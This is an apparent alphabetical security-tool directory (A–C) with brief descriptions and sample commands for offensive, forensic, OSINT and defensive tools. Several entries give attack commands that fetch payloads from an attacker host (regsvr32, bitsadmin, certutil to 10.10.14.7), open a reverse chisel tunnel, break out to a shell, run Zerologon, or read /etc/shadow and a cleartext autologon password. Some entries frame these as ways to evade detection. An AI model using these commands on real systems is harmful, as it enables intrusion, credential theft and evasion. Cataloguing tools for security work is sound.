Tools

Nestori Syynimaa's PowerShell toolkit for administering, auditing and (ab)using Azure AD/Entra ID and Office 365 — used defensively to check tenant configuration and hybrid-identity exposure.

Community-reported IP abuse database — checks whether an address has been reported for brute-forcing, spam or scanning, with a confidence score and report history.

Newer open-source, extensible C2 framework with a Java teamserver/GUI client and BOF support, positioned as a free adversary-simulation platform.

Coerces a target to authenticate back over HTTP, relays the credentials to the AD CS web enrolment endpoint, and returns a usable certificate — an all-in-one PetitPotam-to-ADCS chain.

ADCSPwn.exe --domain corp.local --port 8080

Gathers a broad snapshot of an Active Directory environment (users, computers, GPOs, ACLs, trusts, password policy) into an Excel-formatted report for offline review.

./ADRecon.ps1 -Method LDAP -DomainController 10.10.10.5 -Credential corp\user

The actively maintained, heavily extended fork of American Fuzzy Lop — coverage-guided mutational fuzzing for finding crashes in binaries and libraries.

afl-fuzz -i in -o out -- ./target @@

Search engine for Tor hidden services that filters out abuse content, one of the few indexing engines that actually crawls .onion sites in a structured way.

The classic WiFi security auditing suite — packet capture, deauthentication and injection, and WEP/WPA-PSK key cracking, in one tightly integrated toolset.

airmon-ng start wlan0\nairodump-ng wlan0mon\naircrack-ng -w rockyou.txt capture.cap

Menu-driven bash wrapper that ties together aircrack-ng, hcxtools, hostapd and other utilities into one guided Wi-Fi auditing workflow (handshake capture, WPS, evil twin, DoS).

sudo bash airgeddon.sh

Official command-line driver/utilities (airspy_rx and friends) for Airspy-brand SDR receivers, used for raw IQ capture independent of a GUI front end.

airspy_rx -f 100.0 -a 10000000 -r output.raw

The Android counterpart to iLEAPP — parses an Android filesystem or physical extraction into categorised, human-readable reports covering messaging, browser, app and system artifacts.

python3 aleapp.py -t fs -i extraction/ -o report/

Open Threat Exchange — a free, community-driven threat-intelligence sharing platform with searchable "pulses" of IOCs contributed by security researchers.

Generates subdomain permutations and alterations from a wordlist of common patterns (dev, staging, api-v2) and resolves the results.

altdns -i subdomains.txt -o data_output -w words.txt -r -s results.txt

OWASP in-depth attack-surface mapping tool: DNS enumeration, subdomain discovery via dozens of passive sources, and network-mapping graph output.

amass enum -passive -d example.com -o subdomains.txt

Eric Zimmerman's parser for Amcache.hve — a registry hive tracking executed and installed applications, including SHA1 hashes and first-execution timestamps.

AmcacheParser.exe -f Amcache.hve --csv out

Extracts every thumbnail and the exact upload timestamp from a YouTube video, used to verify when a video was actually first published.

Cross-platform Python NTFS $MFT parser — a free, scriptable alternative to MFTECmd for extracting file record metadata from a raw MFT extract.

analyzeMFT.py -f \$MFT -o mft.csv

Python library and CLI for reverse-engineering Android apps programmatically — parses DEX/APK structure, builds call graphs and diffs for scripted analysis rather than manual GUI review.

androguard analyze app.apk

Python binary analysis platform combining symbolic execution, CFG recovery and taint tracking — the go-to for scripting a solve against a stripped pwn or reversing binary.

python3 -c "import angr; p = angr.Project('./chall'); print(p.factory.entry_state())"

Simple, fast cross-platform IP address and port scanner with a GUI — a quick way to inventory what is alive on a subnet without learning nmap syntax.

An interactive online malware sandbox — unlike a fully automated sandbox, an analyst can click through the running VM in real time (dismiss a dialog, wait out a sleep timer) to get past evasion that defeats hands-off detonation.

Fingerprints an APK's toolchain, compiler and packer/obfuscator (PEiD for Android) — quickly flags whether a sample was built with a known obfuscation or packing tool.

apkid app.apk

Decodes Android APK resources back to a near-original form and rebuilds them after edits — the standard first step in Android reverse engineering and repackaging.

apktool d app.apk

Eric Zimmerman's parser for the Shimcache (AppCompatCache) registry value — a list of executables the OS has seen, one more source of program-execution evidence.

AppCompatCacheParser.exe -f SYSTEM --csv out

regsvr32 loads a scriptlet straight from a remote URL, sidestepping AppLocker rules that only block .exe execution.

regsvr32 /s /n /u /i:http://10.10.14.7/payload.sct scrobj.dll

A tool for visual inspection of websites across a large list of hosts, producing an HTML report of screenshots grouped by similarity — an older but still-used alternative to gowitness/EyeWitness.

cat hosts.txt | aquatone

On-demand webpage archiving service that snapshots a page instantly, useful for preserving content that blocks the Wayback Machine's crawler or that changes quickly.

The Audit Record Generation and Utilization System — a network flow monitor that turns raw traffic into detailed, auditable flow records, one of the longest-running open network-audit projects still maintained.

argus -i eth0 -w flows.argus

Finds hidden HTTP GET/POST parameters on a web endpoint by bruteforcing against a large parameter-name wordlist — the step before you know what to actually inject into.

arjun -u https://target.tld/api/endpoint

Full-packet-capture indexing and search system (formerly Moloch) — captures and stores traffic at scale, then lets analysts search and pull sessions back out by any field, PCAP included.

Large-scale, indexed full-packet capture — captures and stores traffic while indexing session metadata for search, so a SOC can pull the exact PCAP for an alert from months of retained traffic instead of scrolling Wireshark.

Layer-2 ARP-based host discovery for the local network segment — finds every device on the LAN, including ones that would not respond to an ICMP or TCP scan.

sudo arp-scan --localnet

Mounts forensic disk images (E01, dd, VHD and more) as native Windows disks, read-only and write-cached, so any Windows tool can browse or run analysis against them without a physical write-blocker.

Preprint archive listing for the cryptography-and-security category, where much academic security research appears months before formal conference publication.

Team Cymru's whois service answers an IP's ASN, prefix, country and registry in a single query, with no API key required.

whois -h whois.cymru.com " -v 1.1.1.1"

Small Go tool that finds domains and subdomains related to a given domain from a handful of free sources — a lightweight complement to heavier enumerators.

assetfinder --subs-only example.com

Red Canary's library of small, individually-executable tests mapped one-to-one to ATT&CK techniques — run a single atomic test and check whether the expected alert fired, instead of a full adversary-emulation exercise.

Invoke-AtomicTest T1003.001

The graphical front-end to The Sleuth Kit — a complete open-source digital forensics platform for disk images: timeline analysis, keyword search, file recovery and more.

A Burp Suite extension that automatically tests every request with a lower-privileged session, surfacing broken access-control (authorisation) bugs without manually replaying each one.

Sysinternals tool enumerating every autostart location on Windows (run keys, services, scheduled tasks, WMI, browser helper objects…) — the fastest way to spot a persistence mechanism.

autorunsc.exe -accepteula -a * -c -h -s > autoruns.csv

Microsoft's Acquire Volatile Memory for Linux — a self-contained, dependency-free memory acquisition tool designed to work across kernels without a matching LiME module.

./avml output.lime

awk's system() function runs an arbitrary command — another common SUID-binary shell-breakout primitive from GTFOBins.

awk 'BEGIN {system("/bin/sh")}'

The BITS job service moves a file over HTTP in the background, a built-in transfer path separate from PowerShell logging.

bitsadmin /transfer job /download /priority high http://10.10.14.7/payload.exe C:\Windows\Temp\payload.exe

Populates a lab Active Directory with thousands of realistic-looking users, groups and misconfigurations, so BloodHound/PingCastle tooling has something non-trivial to chew on.

.\Invoke-BadBlood.ps1

Diffing enabled units against a known-good baseline is a fast way to spot a persistence unit an attacker added, without waiting for full artifact collection.

systemctl list-unit-files --state=enabled | sort > current_units.txt
diff baseline_units.txt current_units.txt

A quick parallel PTR sweep across a /24 without needing a dedicated scanner installed.

for i in $(seq 1 254); do host 10.10.10.$i & done 2>/dev/null | grep -v 'not found'

Free lightweight Windows memory acquisition tool from Belkasoft — designed to run cleanly even against systems with anti-debugging/anti-dumping protections.

Bellingcat's public, community-maintained spreadsheet of OSINT tools and resources spanning geolocation, archives, social media and satellite imagery, used in their open-source investigations.

A Swiss-army-knife framework for network attacks and monitoring — MITM, WiFi/BLE reconnaissance and attacks, and a scriptable, extensible core.

sudo bettercap -iface eth0

Free API and website for ASN, prefix and peering data, a lighter alternative to the Hurricane Electric toolkit for scripted lookups.

curl -s https://api.bgpview.io/ip/1.1.1.1

Commercial disassembler and decompiler (with a free Cloud/Personal tier) built around a scriptable intermediate-language stack (LLIL/MLIL/HLIL) that is friendlier to automate than most.

CLI toolkit of chainable "units" (like a Unix pipeline) for deobfuscating and unpacking malware — base64/XOR decode, carve, decompress and extract config data in one piped command.

emit sample.bin | carve -f b64 | b64 | xor 0x41 | peek

An internet-wide scanning platform and search engine similar in purpose to Shodan/Censys — exposed services, vulnerabilities and threat intelligence indexed from continuous global scans.

Binary diffing tool (originally Zynamics, now Google) that matches functions between two versions of a binary — invaluable for spotting exactly what a patched-vs-unpatched CTF binary changed.

Visualizes a binary file as a space-filling curve image, making repeated structure, embedded files, and anomalies visually obvious — useful both for RE triage and for spotting a likely stego carrier.

Identifies and extracts embedded files and firmware images buried inside a binary blob — signature-scans for known file/filesystem headers and carves out what it finds.

binwalk -e firmware.bin

The Background Intelligent Transfer Service is designed for Windows Update traffic and often has a quieter egress path than a browser or PowerShell's own web client.

bitsadmin /transfer job /download /priority high http://10.10.14.7:8000/file.exe C:\Windows\Temp\file.exe

Recovers the internal keys of legacy ZipCrypto encryption via a known-plaintext attack — give it a few known bytes from any file in the archive and it derives the keys to decrypt the rest.

bkcrack -C secret.zip -c cipher.bin -p plain.bin

Lightweight BLE scanner for quickly enumerating nearby devices and their advertised services/characteristics from the command line, without a full GATT client.

bleah -t 5 -v

GTK hex editor for Linux with a plugin architecture and support for very large files — a lightweight option when a full RE hex-editor is overkill.

Maps Active Directory (and Azure AD) trust relationships as a graph, using graph theory to reveal attack paths to Domain Admin that are invisible in a flat user/group listing.

bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.10 -c All

Python re-implementation of the SharpHound collector for Linux-based operators, gathering the same AD graph data without needing a Windows box.

bloodhound-python -u user -p pass -ns 10.10.10.5 -d corp.local -c all

Bluetooth (Classic + BLE) device discovery service that logs and fingerprints everything it sees over time, aimed at long-running physical-security/asset-tracking style monitoring.

sudo blue_hydra

The interactive control shell shipped with Linux's BlueZ stack — scanning, pairing and GATT inspection without installing anything extra, and the first thing to reach for before pulling out dedicated BLE tooling.

bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices
[bluetooth]# gatt.list-attributes <MAC>

Bluetooth reconnaissance framework covering Classic, LE and (some) mesh/Zigbee-adjacent radios in one CLI, aimed at building a fuller picture than a single-mode scanner.

bluing le scan

Protocol-aware fuzzing framework (fork/successor of Sulley) for building fuzzers against network services and file formats with defined message structures.

Interactive wordlist generator that builds candidate passwords from personal-info keywords plus configurable leet/case/special-character mutations, similar in spirit to CUPP with more mangling options.

bopscrk -w words.txt

Heuristic identifier that suggests which classical cipher or encoding a piece of ciphertext most likely came from, based on its character set and statistical shape.

Free breach-data search engine with hash-based password lookups alongside email and username exposure checks.

Desktop app for searching and analysing large pcap/Zeek log sets with the Zed query language — much faster iteration than opening a huge capture in a GUI packet viewer.

Commercial adversary-simulation C2 built specifically around EDR/AV evasion (badger implants, custom syscall stubs); frequently referenced alongside Cobalt Strike in red team tradecraft discussions.

When a UART header is identified but the baud rate is not, quickly cycle through the common rates and watch for readable boot text instead of guessing one at a time.

for baud in 9600 19200 38400 57600 115200; do
  echo "--- trying $baud ---"
  timeout 3 picocom -b $baud -q /dev/ttyUSB0
done

Takes an Nmap/Masscan GNMAP/XML output and automatically brute-forces every service it recognises using Medusa under the hood — no manual target/service mapping needed.

brutespray --file scan.gnmap -u users.txt -p rockyou.txt

BLE sniffing and hijacking toolkit (needs a couple of cheap nRF51-based dongles) that can follow, jam and even take over an existing BLE connection.

btlejack -s

One of the original S3-bucket-name brute-forcing tools — checks a wordlist of candidate names for existence and public read access.

ruby bucket_finder.rb wordlist.txt

Web technology profiler — identifies the CMS, analytics, ad networks, frameworks and hosting stack behind a site, plus historical technology-adoption lookups.

Scans a disk image, memory dump or arbitrary blob for recognisable features (email addresses, credit-card numbers, URLs, EXIF data) using carving and regex, ignoring filesystem structure entirely — useful when the filesystem is damaged or unknown.

bulk_extractor -o output/ disk.dd

Resolves a large subdomain candidate list against a set of trusted public resolvers far faster than looping dig/host over each name.

massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt

C reimplementation of the WPS brute-force PIN attack (an alternative to Reaver with different timing/retry behaviour against flaky APs).

bully -b AA:BB:CC:DD:EE:FF wlan0mon

The standard web application security testing platform — intercepting proxy, repeater, intruder and a huge extension ecosystem (BApp Store). Community edition is free; Pro adds the active scanner.

Open-source USB hardware swiss-army-knife for talking to unknown chips over UART/SPI/I2C/JTAG/1-Wire from a serial terminal — usually the first thing plugged into an unidentified header on a PCB.

picocom /dev/ttyUSB0 -b 115200

Email OSINT tool that checks an address against breach data, social-media registration and domain information in one pass.

buster -e [email protected] -b

All-in-one Java/Android reverse engineering GUI bundling several decompilers (Procyon, CFR, FernFlower) side by side plus a bytecode editor and debugger.

Quick lookup tool for a page's Google cache and Wayback Machine snapshot from one search box, useful when a page has just gone offline or been edited.

Generates JS/VBS/HTA payloads that use DotNetToJScript to load a .NET assembly and shellcode directly into memory from a script host.

Complete number field sieve implementation for factoring very large RSA moduli — the tool of last resort once yafu/msieve are too slow for the key size involved.

Center for Applied Internet Data Analysis — hosts long-running academic datasets on internet topology, routing and traffic used in network-security research.

Thinkst's free trip-wire generator — produces tokens (a fake AWS key, a Word doc, a URL, a DNS name) that silently phone home the moment someone opens or uses them, turning "did anyone touch this?" into an instant alert.

Identifies capabilities in an executable — "reads the clipboard", "installs a service", "encrypts files" — by matching disassembly and API-call patterns, so an analyst gets a functional summary before doing manual reverse engineering.

capa malware.exe

An automated malware analysis sandbox descended from Cuckoo, focused on Configuration And Payload Extraction — it unpacks and extracts C2 configs from common malware families rather than just logging behaviour.

Config And Payload Extraction — a Cuckoo fork focused on automatically unpacking malware and dumping the decrypted C2 configuration of hundreds of known families.

Multi-architecture disassembly engine and library (with Python/C/Rust/… bindings) that many other RE tools — including Frida and Qiling — embed rather than write their own.

python3 -c "import capstone"

Explores malicious HTTP traffic captured in a pcap — replays the conversation, reconstructs redirect chains and lets you pull out the delivered payload for analysis.

python captipper.py malicious.pcap

Search-results clustering engine that groups a large result set into labelled topic clusters, useful for making sense of a broad OSINT search dump.

Lyft-originated tool that consolidates infrastructure and cloud asset relationships (AWS, GCP, GitHub, Okta, etc.) into a Neo4j graph for attack-surface and blast-radius analysis.

cartography --neo4j-uri bolt://localhost:7687

Cyber Defense Institute's free Windows artifact collector — grabs registry hives, event logs, prefetch, browser history and more into one archive for offline analysis.

Commercial mobile device forensics platform (UFED and related products) — the industry-standard hardware/software for extracting and decoding data from seized mobile devices.

An internet-wide device and certificate search engine built from continuous internet scanning — heavily used for attack-surface discovery and certificate-based host enumeration.

Internet-wide scan search engine for hosts, services and certificates, built from continuous scanning of the public IPv4 space plus a hosted certificate-transparency index.

GhostPack tool for enumerating and abusing misconfigured Active Directory Certificate Services (AD CS) templates to obtain certificates for privilege escalation.

Certify.exe find /vulnerable

Enumerates and abuses Active Directory Certificate Services (AD CS) misconfigurations — the ESC1-ESC8 escalation paths that let a low-privileged user mint a Domain Admin certificate.

certipy find -u [email protected] -p pass -dc-ip 10.10.10.10 -vulnerable

certutil's -decode flag doubles as a base64 decoder, useful when nothing else on the box will do it for you.

certutil -decode encoded.b64 decoded.bin

certutil is signed, present on every Windows box by default, and nobody expects it to make HTTP requests — a classic LOLBAS download primitive.

certutil.exe -urlcache -split -f http://10.10.14.7:8000/file.exe file.exe

Spiders a website and builds a custom wordlist from the words it finds — useful for generating a target-specific password/username dictionary rather than relying on rockyou alone.

cewl https://target.tld -d 2 -m 5 -w wordlist.txt

PE file viewer/editor (part of the Explorer Suite) for inspecting and hand-modifying PE headers, sections, imports and resources.

PE editor and viewer for manually inspecting and patching Windows executable headers, sections, imports and resources — a staple of PE-format malware triage.

Actively maintained Java decompiler that copes well with modern bytecode and mildly obfuscated class files.

java -jar cfr.jar ./Challenge.class --outputdir out

Fast command-line triage of Windows Event Logs — runs Sigma rules and built-in detection logic across EVTX files to surface logons, lateral movement and other indicators without loading them into a SIEM first.

chainsaw hunt evtx_dir/ -s sigma_rules/ --mapping mappings/sigma-event-logs-all.yml

Open-source hardware that emulates and clones RFID/NFC tags (rather than just reading them) — used to test how access-control readers react to a spoofed or replayed credential.

Pocket-sized successor to ChameleonMini with BLE control from a phone app, dual-frequency (LF+HF) emulation, and onboard support for common Mifare attacks.

Scans a network for services still running their vendor-default credentials, using a large built-in database of default logins across routers, cameras, admin panels and more.

changeme 10.10.10.0/24

Dataset and API of continuously-crawled subdomain data for public bug-bounty-in-scope domains, maintained by ProjectDiscovery and queryable via their CLI.

chaos -d example.com -silent

Memory scanner, debugger and code injector originally built for game hacking — the go-to tool for CTF "game reversing" challenges that ask you to find and patch a value in a running process.

Reports which exploit-mitigating protections (RELRO, stack canary, NX, PIE, RPATH) a binary was built with, the first thing to run against any new CTF pwn challenge.

checksec --file=./chall
# or from a pwntools script:
python3 -c "from pwn import *; print(ELF('./chall').checksec())"

Queries Have I Been Pwned's Pwned Passwords range API with only a 5-character SHA-1 prefix, so the full password/hash never leaves your machine, and greps the response for the suffix.

hash=$(printf %s 'password123' | sha1sum | tr 'a-z' 'A-Z' | cut -c1-40)
curl -s "https://api.pwnedpasswords.com/range/${hash:0:5}" | grep -i "${hash:5}"

When both registry values are set to 1, any user can install an MSI that runs as SYSTEM, a one-command privesc check.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

A one-line check for the classic misconfiguration where any user can run an MSI as SYSTEM — if both registry values come back 1, it is exploitable.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

sudo -l lists exactly what the current account can run as another user, often the fastest path to root on a CTF or pentest box.

sudo -l

whoami /groups reveals integrity level and any high-value group membership picked up through nested group assignment, easy to miss otherwise.

whoami /groups

A quick compliance and incident-response check; an unencrypted disk changes what is recoverable from a lost or seized machine.

fdesetup status

/etc/ld.so.preload is loaded into every dynamically linked binary on the system, a favourite location for rootkit persistence.

cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload

DefaultUserName and DefaultPassword under Winlogon are stored in cleartext whenever autologon is configured, a one-command find.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

A cron job invoking a world-writable script, or one located in a writable directory, is one of the most common realistic Linux privesc paths.

cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly

An unexpected bind mount or overlay filesystem can be a container escape artifact or a hidden persistence location.

mount | column -t
findmnt

The immutable attribute is sometimes set on a tampered binary or config to stop even root from silently editing it back.

lsattr -R /etc /bin /usr/bin 2>/dev/null | grep -- '----i'

An NFS export with no_root_squash lets a remote root user write files as root on the export, including a SUID binary to escalate through locally.

cat /etc/exports 2>/dev/null | grep -v '^#' | grep no_root_squash

A one-line sanity check that should always return nothing — if it returns something, that box has a serious permissions bug worth reporting.

ls -la /etc/shadow /etc/gshadow 2>/dev/null

A quick permission and version check for CVE-2021-4034, a near-universal local root affecting most 2021-and-earlier polkit installs.

ls -l $(which pkexec)
pkexec --version

spctl reports exactly why Gatekeeper would allow or block an app, signed, notarized, or neither, before deciding whether to trust it.

spctl -a -vv /Applications/Suspicious.app

A misconfigured permission on /etc/shadow hands over every password hash on the box in a single command.

ls -la /etc/shadow
cat /etc/shadow 2>/dev/null

sudo has had several serious version-specific privesc bugs, including CVE-2019-14287 and CVE-2021-3156; the version string is the first thing to check.

sudo -V | head -n1

The kernel and distro version is the fastest first lookup against a local database of known privesc CVEs before trying anything noisier.

uname -a
cat /etc/os-release

A fast first pass on an IR call — who has logged in recently, who is on the box right now, and whether wtmp shows anything that does not line up with what the customer told you.

last -F -x | head -30
w
lastb -F | head -20   # failed logins, if btmp is enabled

Deprecated since OS X 10.10 but still executed if present, and still checked by both malware and thorough incident responders.

ls -la /Library/StartupItems /System/Library/StartupItems 2>/dev/null

Login and logout hooks are a deprecated but still-functional per-user persistence mechanism configured under com.apple.loginwindow.

defaults read com.apple.loginwindow LoginHook 2>/dev/null
defaults read com.apple.loginwindow LogoutHook 2>/dev/null

A writable directory earlier in $PATH than the real binary lets a planted script hijack any command a privileged user runs by name.

echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'

/etc/periodic is an older but still-functional persistence point inherited from macOS BSD lineage, checked less often than LaunchAgents.

ls -la /etc/periodic/daily /etc/periodic/weekly /etc/periodic/monthly

Blue-team sweep of the classic autorun keys that survive reboot, the first place most simple malware persists.

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"

A malicious line appended to .zshrc or .bash_profile re-executes on every new terminal session, a common and easily missed persistence spot.

cat ~/.zshrc ~/.zprofile ~/.bash_profile ~/.bashrc 2>/dev/null

SIP being disabled removes a large set of macOS built-in tamper protections, and legitimate reasons to disable it outside development are rare.

csrutil status

A unit whose ExecStart binary sits in a directory the current user can write to is a straightforward path to root on the next service restart.

systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | xargs -I{} sh -c 'systemctl cat {} 2>/dev/null | grep ExecStart'

capsh shows exactly which capabilities the current shell holds, which decides whether a capability-based privesc path is even viable.

capsh --print

Confirms whether the built-in packet filter is even enabled before drawing any conclusion from an absence of blocked-connection logs.

/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

cron still works on macOS even though launchd is preferred, and it is checked less often, exactly why it is occasionally used for persistence.

crontab -l

The com.apple.quarantine extended attribute is what triggers the "are you sure you want to open this" prompt, worth checking in any investigation.

xattr -l ~/Downloads/suspicious.dmg

A NOPASSWD entry or an overly broad command wildcard in /etc/sudoers is exactly as dangerous on macOS as on any other Unix.

sudo cat /etc/sudoers /etc/sudoers.d/*

Reads macOS's TCC (Transparency, Consent and Control) database to show which apps were granted access to sensitive data — a common forensic/incident-response first step.

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "select client,auth_value,service from access;"

An exclusion path readable by a low-privileged user shows exactly where to drop a payload Defender will never scan.

Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess

Bridgecrew/Palo Alto's static analysis scanner for infrastructure-as-code — flags insecure defaults in Terraform, CloudFormation, Kubernetes manifests, ARM and Dockerfiles before they're deployed.

checkov -d ./terraform

Reports which exploit mitigations (NX, PIE, RELRO, canaries, stripped symbols) a binary was built with — the first command run against any new pwn challenge.

checksec --file=./chall

Open-source side-channel power analysis and voltage/clock glitching platform (hardware + Python toolchain) for practical hands-on work with fault injection and DPA, not just theory.

A fast TCP/UDP tunnel over HTTP, written in Go — the go-to tool for pivoting into a network segment you can otherwise only reach through one compromised host.

# attacker: chisel server -p 8000 --reverse\n# target:  ./chisel client 10.10.14.7:8000 R:socks

Automated decoding tool that tries to work out what encoding or cipher was used on a blob of text (base64, ROT13, Vigenère, hashes, and combinations of them) without being told.

ciphey -t "encrypted text"

The US government's list of CVEs confirmed to be actively exploited in the wild, used to prioritise patching over raw CVSS score alone.

Open-source static vulnerability analysis for container images — the scanner behind Quay.io, indexes image layers and matches against multiple CVE feeds.

Generates Objective-C header files from a compiled Mach-O binary, exposing an iOS app or framework's class/method structure without source — the starting point for most iOS reversing.

class-dump -H MyApp.app/MyApp -o headers/

Capital One's rules engine for cloud governance — YAML policies describe the compliant state you want, and it can report, alert or automatically remediate drift across AWS/Azure/GCP.

custodian run -s output/ policy.yml

Microsoft's serverless tool for running attack simulation scenarios in Azure — executes ATT&CK-mapped techniques to validate that detections and alerts fire as expected.

Multi-cloud OSINT tool that enumerates public storage buckets, apps and resources across AWS, Azure and GCP for a given keyword or company name.

python3 cloud_enum.py -k example

Brute-forces likely bucket/storage-account names across AWS, Azure, GCP, DigitalOcean and other providers to find exposed cloud storage tied to a target company or brand.

cloudbrute -d example -k "example,exampleco" -o output.txt

Bishop Fox's situational-awareness tool for AWS, Azure and GCP — quickly maps what an account/role can do and where sensitive resources sit, used by both attackers and defenders auditing exposure.

cloudfox aws all-checks

Generates network diagrams of AWS environments from live account data, helping identify unexpected public exposure across VPCs and security groups.

python3 cloudmapper.py collect --account example

Web-based pcap analysis and sharing platform — upload a capture, get a shareable link with a full protocol decode, annotations and export, for collaborating on a capture without emailing it around.

Identifies violations of least privilege in AWS IAM policies (e.g. privilege escalation, resource exposure, data exfiltration paths) and produces a browsable risk report.

cloudsplaining download\ncloudsplaining scan --input-file default.json

Cloud configuration scanner (now part of Aqua) for AWS/Azure/GCP/OCI — detects common misconfigurations across dozens of services with a plugin-based check engine.

Automates testing a Windows host for every known authentication-coercion method (PetitPotam and its many siblings) in one run, rather than trying each RPC method by hand.

coercer coerce -u user -p pass -d domain.local -t 10.10.10.10 -l 10.10.14.7

Automates detection and exploitation of OS command-injection vulnerabilities in web parameters, the command-injection equivalent of sqlmap.

commix --url="https://target.tld/ping?host=127.0.0.1"

Open, petabyte-scale repository of web crawl data, usable to find historical pages, linking patterns or exposed content at a scale no single scraper could reach.

The UK's official company registry — filings, officers, ownership and accounts for every UK-registered company, free to search and download.

Quick manual triage step before uploading a sample anywhere — hash it locally and grep against a downloaded IOC list (e.g. exported from MISP/ThreatFox) offline.

sha256sum suspicious.bin | tee /dev/stderr | cut -d' ' -f1 | grep -Ff known_bad_hashes.txt && echo MATCH

ICS/SCADA honeypot emulating industrial protocols (Modbus, S7comm, etc.) and PLC device fingerprints, to detect and study attacks against industrial control systems.

conpot -t default

Most macOS configuration and persistence artifacts are binary plists; this makes them greppable like any other text file.

plutil -convert xml1 -o - ~/Library/Preferences/com.apple.suspicious.plist

Cloud-hosted virtual iOS and Android devices with full root/jailbreak-equivalent access, used for mobile security research at scale where physical jailbroken hardware does not.

Free US business and officer relationship search, useful for mapping which people sit on multiple company registrations.

TheHive project's observable-analysis engine — runs analyzers (VirusTotal, abuse.ch, MISP, sandbox lookups, etc.) against IOCs on demand or from a case.

.NET C2 framework with a web-based teamserver, used to showcase and test .NET tradecraft and AMSI/ETW evasion techniques against Windows targets.

A medium-interaction SSH and Telnet honeypot — logs brute-force attempts and full attacker shell sessions, and can fake a filesystem convincingly enough to capture what a bot or human does after it "gets in".

Cracks the BLE Legacy Pairing key exchange from a captured connection and decrypts the traffic — the classic demonstration of why "Just Works" BLE pairing is not actually secure.

crackle -i capture.pcap -o decrypted.pcap

The original Active Directory assessment swiss-army-knife that NetExec forked from — still widely referenced in write-ups and older tooling even though NetExec is the maintained successor.

crackmapexec smb 10.10.10.0/24 -u user -p pass

Community-maintained repository of "crackmes" — small deliberately-obfuscated binaries for practicing reverse engineering, searchable by language, platform and difficulty.

Free online lookup of a hash against a precomputed table of billions of cracked passwords — worth trying before spinning up hashcat for an unsalted common hash.

Rotates password-spray traffic through cloud provider IPs (via FireProx-style API Gateway proxying) so login attempts against Okta/O365/OWA are not all seen from one source IP.

python3 credmaster.py -m O365 -u users.txt -p Summer2026! -s okta

Geolocation OSINT tool that aggregates geotagged social-media posts for a target into a mapped timeline, a historically significant project in this space.

Threat-intel-flavoured internet asset search engine combining Shodan-like banner search with IP risk scoring, phishing/malicious-URL lookups and domain intel.

A quick privesc check: scheduled jobs run as another (often more privileged) user are a common escalation path if their script or binary is writable by you.

for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; sudo -u "$u" crontab -l 2>/dev/null; done

The first thing to run on any box during triage — what is listening, and what process owns it. Works the same shape on Linux and Windows.

# Linux
ss -ltnp
# Windows (PowerShell)
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess

Enumerates a company's LinkedIn employees via search-engine scraping (no LinkedIn login needed) and outputs plausible email addresses from the naming pattern.

python3 crosslinked.py -f "{first}.{last}@example.com" example.com

A crowdsourced, behaviour-based intrusion detection and prevention engine — parses local logs for attack patterns and shares/consumes IP reputation with a global community, so one deployment benefits from every other one.

cscli decisions add --ip 1.2.3.4 --duration 24h --reason "manual ban"

A free, searchable front-end over Certificate Transparency logs — the fastest way to enumerate every subdomain that has ever had a public TLS certificate issued for it.

curl -s 'https://crt.sh/?q=%.target.tld&output=json' | jq -r '.[].name_value' | sort -u

Certificate transparency search engine indexing CT logs for domain and subdomain discovery, with a faster/more filterable UI than crt.sh for large result sets.

Browser-based pipeline editor for chaining encodings and classical ciphers (base64, Caesar, Morse, binary, and more) to decode a multi-layered CTF puzzle step by step.

Gamified platform for learning cryptography by breaking progressively harder CTF-style crypto challenges, from classical ciphers through RSA, ECC and modern primitives.

Visual, drag-and-drop workbench for building cryptanalysis pipelines — includes ready-made attacks on historical ciphers (Enigma, Vigenère, classical substitution) alongside modern crypto demos.

Trail of Bits' long-running reference covering pwn, reversing, crypto and steganography techniques for CTF play — dated in places but still a solid first read for each category.

Zardus's collection of install scripts for a wide range of CTF tools, used to quickly provision a fresh box with a working pwn/RE toolchain instead of installing everything by hand.

./ctf-tools/pwntools/install.sh

The most widely used open-source platform for running a CTF competition — challenges, scoreboard, teams and hints — the base most community CTFs deploy rather than build from scratch.

Cross-platform general-purpose SDR receiver GUI aimed at being simpler to get running than SDR#/GQRX on any given OS, with a spectrum/waterfall view and basic demodulation.

The original open-source automated malware analysis sandbox — detonates a sample in an instrumented VM and reports API calls, network traffic, dropped files and screenshots.

cuckoo submit suspicious.exe

Common User Passwords Profiler — interviews you about a target's personal details (name, pet, birthdate) and generates a targeted candidate password list from the answers.

cupp -i

Qt GUI built on top of Rizin, giving radare2-family analysis a graph view, decompiler panes and debugger without living in the r2 command line.

Browsable, filterable front-end over CVE/NVD data — search by vendor, product, version or vulnerability type, with year-over-year trend statistics per product.

Tracks which CVEs the security community is actively discussing right now, built from monitoring public social chatter rather than official severity scores.

Secura's reference exploit for Zerologon — resets a Domain Controller's machine account password to empty via the Netlogon protocol, effectively taking over the domain.

python3 zerologon_tester.py DC01 10.10.10.5

The CVE Program's own record site — the canonical assignment authority database, distinct from NVD's enriched CVSS/CPE layer on top of the same IDs.

GCHQ's "Cyber Swiss Army Knife" — a browser-based drag-and-drop pipeline for encoding, decoding, encryption and data-format transforms, arguably the single most-used CTF crypto/forensics tool there is.

Live-response collector that grabs a fixed set of forensic artifacts (MFT, registry, event logs, prefetch…) from a running Windows system into a single zip, without needing to shut it down.

